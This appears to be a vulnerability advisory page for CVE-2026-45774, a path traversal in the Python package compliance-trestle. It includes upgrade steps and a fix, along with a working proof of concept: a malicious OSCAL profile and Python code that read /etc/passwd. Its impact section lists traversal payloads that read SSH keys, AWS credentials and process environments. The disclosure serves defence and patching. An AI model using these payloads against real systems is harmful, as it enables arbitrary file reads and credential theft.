CVE-2026-45774: Compliance trestle Path Traversal Vulnerability

MODERATE
Advisory Identifier: GHSA-mj4x-vf5c-5xg8
CWE-22
Published
Advisory Summary

CVE-2026-45774 is a MODERATE path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Compliance trestle libraries in the PyPI ecosystem. The issue involves // uri and relative path traversal. Remediation is available by upgrading affected packages to version 4.0.3, 3.12.2.

CVE-2026-45774 at a Glance

CVE Identifier CVE-2026-45774
GHSA Identifier GHSA-mj4x-vf5c-5xg8
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Compliance trestle
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-45774

To remediate this vulnerability, upgrade all affected Compliance trestle dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

compliance-trestle fixed: 4.0.3
pip install compliance-trestle>=4.0.3
compliance-trestle fixed: 3.12.2
pip install compliance-trestle>=3.12.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show compliance-trestle

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-45774, inspect your installed packages using pip:

pip show compliance-trestle

Analyze the terminal output to locate any version of Compliance trestle in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.0.3), your application is affected.

Note: The pip show compliance-trestle command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Compliance trestle, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The compliance-trestle library's profile import mechanism resolves `trestle://` URIs and relative file paths by joining them with `trestle_root` and calling `.resolve()`, but performs **no boundary check** to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with `imports[].href` containing path traversal sequences to read arbitrary files from the server filesystem. Three attack vectors confirmed: 1. **PT-001:** `trestle://../../etc/passwd` — via trestle:// URI scheme 2. **PT-002:** `../../etc/passwd` — via relative path in href 3. **PT-003:** back_matter rlinks with traversal paths **Preconditions:** Victim must import/resolve an attacker-controlled OSCAL profile YAML. ## Affected Component **Repository:** https://github.com/IBM/compliance-trestle **File:** `trestle/core/remote/cache.py` (lines 175-179) **File:** `trestle/core/resolver/_import.py` (line 104) **Version:** v4.0.2 (latest as of 2026-04-30) ## Vulnerable Code ### cache.py:175-179 — LocalFetcher (trestle:// URI handling) ```python class LocalFetcher(FetcherBase): def __init__(self, trestle_root: pathlib.Path, uri: str) -> None: super().__init__(trestle_root, uri) # ... elif uri.startswith(const.TRESTLE_HREF_HEADING): uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :]) self._abs_path = pathlib.Path(uri).resolve() # ❌ NO boundary check — .resolve() follows ../ # ❌ NO is_relative_to() validation # ❌ Result can be /etc/passwd self._cached_object_path = self._abs_path return ``` ### cache.py:194 — LocalFetcher (relative path handling) ```python # For relative paths (no trestle:// or file:// prefix): try: self._abs_path = pathlib.Path(uri).resolve() # ❌ Same issue — resolves relative to CWD with no boundary check except Exception: raise TrestleError(...) ``` ### _import.py:73-104 — Profile import href resolution ```python class Import(Pipeline.Filter): def __init__(self, ...): # Line 73-83: back_matter rlinks used directly if self._import.href[0] == '#': resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0] self._import.href = [ rlink.href # ❌ rlink.href from OSCAL data — user-controlled for rlink in resource.rlinks if rlink.href.endswith('.json') or rlink.href.endswith('.yaml') ][0] # Line 104: href passed directly to FetcherFactory fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href) ``` **Root Cause:** 1. `Path(trestle_root / "../../etc/passwd").resolve()` = `/etc/passwd` 2. No `is_relative_to(trestle_root)` check after resolve 3. `TRESTLE_HREF_REGEX` defined at `const.py:253` but **NEVER enforced** (dead code) 4. Even if enforced, the regex `'^trestle://[^/]'` would PASS traversal payloads (`.` is `[^/]`) ## Steps to Reproduce ### Prerequisites ```bash pip install compliance-trestle==4.0.2 ``` ### PoC: Malicious OSCAL Profile ```yaml # malicious_profile.yaml profile: uuid: "550e8400-e29b-41d4-a716-446655440000" metadata: title: "Malicious Profile" version: "1.0" last-modified: "2024-01-01T00:00:00+00:00" oscal-version: "1.0.4" imports: - href: "trestle://../../../../../../etc/passwd" ``` ### PoC: Direct LocalFetcher Exploit ```python #!/usr/bin/env python3 """PoC: trestle:// path traversal via real LocalFetcher""" from pathlib import Path from trestle.core.remote.cache import LocalFetcher import tempfile trestle_root = Path(tempfile.mkdtemp()) # Normal usage — stays within workspace normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json") print(f"Normal: {normal._abs_path}") # /tmp/xxx/catalogs/test/catalog.json # Exploit — escapes workspace evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd") print(f"Evil: {evil._abs_path}") # /etc/passwd print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}") # Output: root:x:0:0:root:/root:/bin/bash ``` **Expected:** Path traversal blocked with error **Actual:** `/etc/passwd`, `/etc/shadow`, `/proc/self/environ` read successfully ## Remediation ```python class LocalFetcher(FetcherBase): def __init__(self, trestle_root: pathlib.Path, uri: str) -> None: super().__init__(trestle_root, uri) # ... elif uri.startswith(const.TRESTLE_HREF_HEADING): uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :]) self._abs_path = pathlib.Path(uri).resolve() # ✅ ADD: Boundary check if not self._abs_path.is_relative_to(self._trestle_root): raise TrestleError( f"Path traversal blocked: resolved path '{self._abs_path}' " f"is outside trestle root '{self._trestle_root}'" ) self._cached_object_path = self._abs_path return ``` Same fix needed for relative path handling at line 194. Additionally, enforce `TRESTLE_HREF_REGEX` (already defined at `const.py:253` but never used). ## Resources - **CWE-22:** https://cwe.mitre.org/data/definitions/22.html - **OSCAL Profile Resolution:** https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/ - **compliance-trestle:** https://github.com/IBM/compliance-trestle ## Impact 1. **Credential Theft via OSCAL Import:** ```yaml imports: - href: "trestle://../../root/.aws/credentials" - href: "trestle://../../root/.ssh/id_rsa" ``` 2. **System Reconnaissance:** ```yaml imports: - href: "trestle://../../etc/passwd" - href: "trestle://../../proc/self/environ" ``` 3. **Supply Chain Attack:** Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution. 4. **Dead Code Evidence:** `TRESTLE_HREF_REGEX` defined at `const.py:253` but never enforced anywhere — proves path validation was INTENDED but never implemented.

CVE-2026-45774 Affected Compliance trestle Versions

2 component(s)
Fixed Versions:
4.0.33.12.2
Product / Package Ecosystem Affected Versions Fixed Version
compliance-trestle
PyPI
≥ 4.0.0
< 4.0.3
4.0.3
compliance-trestle
PyPI
< 3.12.2
3.12.2

References

Frequently Asked Questions

What is CVE-2026-45774?
CVE-2026-45774 is a security vulnerability in Compliance trestle involving // URI and Relative Path Traversal under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Compliance trestle versions are affected?
Affected versions include releases prior to 4.0.3, 3.12.2 across affected packages: compliance-trestle.
What version fixes CVE-2026-45774?
Upgrading to 4.0.3, 3.12.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is compliance-trestle affected?
Yes, compliance-trestle is affected in releases prior to 4.0.3, 3.12.2. Upgrade your dependency to 4.0.3, 3.12.2 or later.
What CWE is associated with CVE-2026-45774?
CVE-2026-45774 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2026-45774?
Run the dependency tree command: 'pip show compliance-trestle'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mj4x-vf5c-5xg8",
  "modified" : "2026-05-28T17:37:08Z",
  "published" : "2026-05-28T17:37:08Z",
  "aliases" : [ "CVE-2026-45774" ],
  "summary" : "compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal",
  "details" : "## Summary\n\nThe compliance-trestle library's profile import mechanism resolves `trestle://` URIs and relative file paths by joining them with `trestle_root` and calling `.resolve()`, but performs **no boundary check** to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with `imports[].href` containing path traversal sequences to read arbitrary files from the server filesystem.\n\nThree attack vectors confirmed:\n1. **PT-001:** `trestle://../../etc/passwd` — via trestle:// URI scheme\n2. **PT-002:** `../../etc/passwd` — via relative path in href\n3. **PT-003:** back_matter rlinks with traversal paths\n\n**Preconditions:** Victim must import/resolve an attacker-controlled OSCAL profile YAML.\n\n\n## Affected Component\n\n**Repository:** https://github.com/IBM/compliance-trestle\n**File:** `trestle/core/remote/cache.py` (lines 175-179)\n**File:** `trestle/core/resolver/_import.py` (line 104)\n**Version:** v4.0.2 (latest as of 2026-04-30)\n\n## Vulnerable Code\n\n### cache.py:175-179 — LocalFetcher (trestle:// URI handling)\n\n```python\nclass LocalFetcher(FetcherBase):\n    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:\n        super().__init__(trestle_root, uri)\n        # ...\n        elif uri.startswith(const.TRESTLE_HREF_HEADING):\n            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])\n            self._abs_path = pathlib.Path(uri).resolve()\n            # ❌ NO boundary check — .resolve() follows ../\n            # ❌ NO is_relative_to() validation\n            # ❌ Result can be /etc/passwd\n            self._cached_object_path = self._abs_path\n            return\n```\n\n### cache.py:194 — LocalFetcher (relative path handling)\n\n```python\n        # For relative paths (no trestle:// or file:// prefix):\n        try:\n            self._abs_path = pathlib.Path(uri).resolve()\n            # ❌ Same issue — resolves relative to CWD with no boundary check\n        except Exception:\n            raise TrestleError(...)\n```\n\n### _import.py:73-104 — Profile import href resolution\n\n```python\nclass Import(Pipeline.Filter):\n    def __init__(self, ...):\n        # Line 73-83: back_matter rlinks used directly\n        if self._import.href[0] == '#':\n            resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]\n            self._import.href = [\n                rlink.href  # ❌ rlink.href from OSCAL data — user-controlled\n                for rlink in resource.rlinks\n                if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')\n            ][0]\n\n        # Line 104: href passed directly to FetcherFactory\n        fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)\n```\n\n**Root Cause:**\n1. `Path(trestle_root / \"../../etc/passwd\").resolve()` = `/etc/passwd`\n2. No `is_relative_to(trestle_root)` check after resolve\n3. `TRESTLE_HREF_REGEX` defined at `const.py:253` but **NEVER enforced** (dead code)\n4. Even if enforced, the regex `'^trestle://[^/]'` would PASS traversal payloads (`.` is `[^/]`)\n\n\n## Steps to Reproduce\n\n### Prerequisites\n\n```bash\npip install compliance-trestle==4.0.2\n```\n\n### PoC: Malicious OSCAL Profile\n\n```yaml\n# malicious_profile.yaml\nprofile:\n  uuid: \"550e8400-e29b-41d4-a716-446655440000\"\n  metadata:\n    title: \"Malicious Profile\"\n    version: \"1.0\"\n    last-modified: \"2024-01-01T00:00:00+00:00\"\n    oscal-version: \"1.0.4\"\n  imports:\n    - href: \"trestle://../../../../../../etc/passwd\"\n```\n\n### PoC: Direct LocalFetcher Exploit\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: trestle:// path traversal via real LocalFetcher\"\"\"\nfrom pathlib import Path\nfrom trestle.core.remote.cache import LocalFetcher\nimport tempfile\n\ntrestle_root = Path(tempfile.mkdtemp())\n\n# Normal usage — stays within workspace\nnormal = LocalFetcher(trestle_root, \"trestle://catalogs/test/catalog.json\")\nprint(f\"Normal: {normal._abs_path}\")  # /tmp/xxx/catalogs/test/catalog.json\n\n# Exploit — escapes workspace\nevil = LocalFetcher(trestle_root, \"trestle://../../../../../../etc/passwd\")\nprint(f\"Evil:   {evil._abs_path}\")    # /etc/passwd\nprint(f\"Content: {evil._abs_path.read_text().split(chr(10))[0]}\")\n# Output: root:x:0:0:root:/root:/bin/bash\n```\n\n**Expected:** Path traversal blocked with error\n**Actual:** `/etc/passwd`, `/etc/shadow`, `/proc/self/environ` read successfully\n\n\n## Remediation\n\n```python\nclass LocalFetcher(FetcherBase):\n    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:\n        super().__init__(trestle_root, uri)\n        # ...\n        elif uri.startswith(const.TRESTLE_HREF_HEADING):\n            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])\n            self._abs_path = pathlib.Path(uri).resolve()\n\n            # ✅ ADD: Boundary check\n            if not self._abs_path.is_relative_to(self._trestle_root):\n                raise TrestleError(\n                    f\"Path traversal blocked: resolved path '{self._abs_path}' \"\n                    f\"is outside trestle root '{self._trestle_root}'\"\n                )\n\n            self._cached_object_path = self._abs_path\n            return\n```\n\nSame fix needed for relative path handling at line 194.\n\nAdditionally, enforce `TRESTLE_HREF_REGEX` (already defined at `const.py:253` but never used).\n\n\n## Resources\n\n- **CWE-22:** https://cwe.mitre.org/data/definitions/22.html\n- **OSCAL Profile Resolution:** https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/\n- **compliance-trestle:** https://github.com/IBM/compliance-trestle\n\n## Impact\n\n1. **Credential Theft via OSCAL Import:**\n   ```yaml\n   imports:\n     - href: \"trestle://../../root/.aws/credentials\"\n     - href: \"trestle://../../root/.ssh/id_rsa\"\n   ```\n\n2. **System Reconnaissance:**\n   ```yaml\n   imports:\n     - href: \"trestle://../../etc/passwd\"\n     - href: \"trestle://../../proc/self/environ\"\n   ```\n\n3. **Supply Chain Attack:**\n   Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.\n\n4. **Dead Code Evidence:**\n   `TRESTLE_HREF_REGEX` defined at `const.py:253` but never enforced anywhere — proves path validation was INTENDED but never implemented.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "compliance-trestle"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.0.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.0.2"
    }
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "compliance-trestle"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.12.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-mj4x-vf5c-5xg8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/oscal-compass/compliance-trestle/commit/5c65c5926fe7ca908b9c1d281f904e7d97ba8310"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/oscal-compass/compliance-trestle/commit/d00a0c2f702c24f7016009fbd626036f5c46f47b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/oscal-compass/compliance-trestle"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-28T17:37:08Z",
    "nvd_published_at" : null
  }
}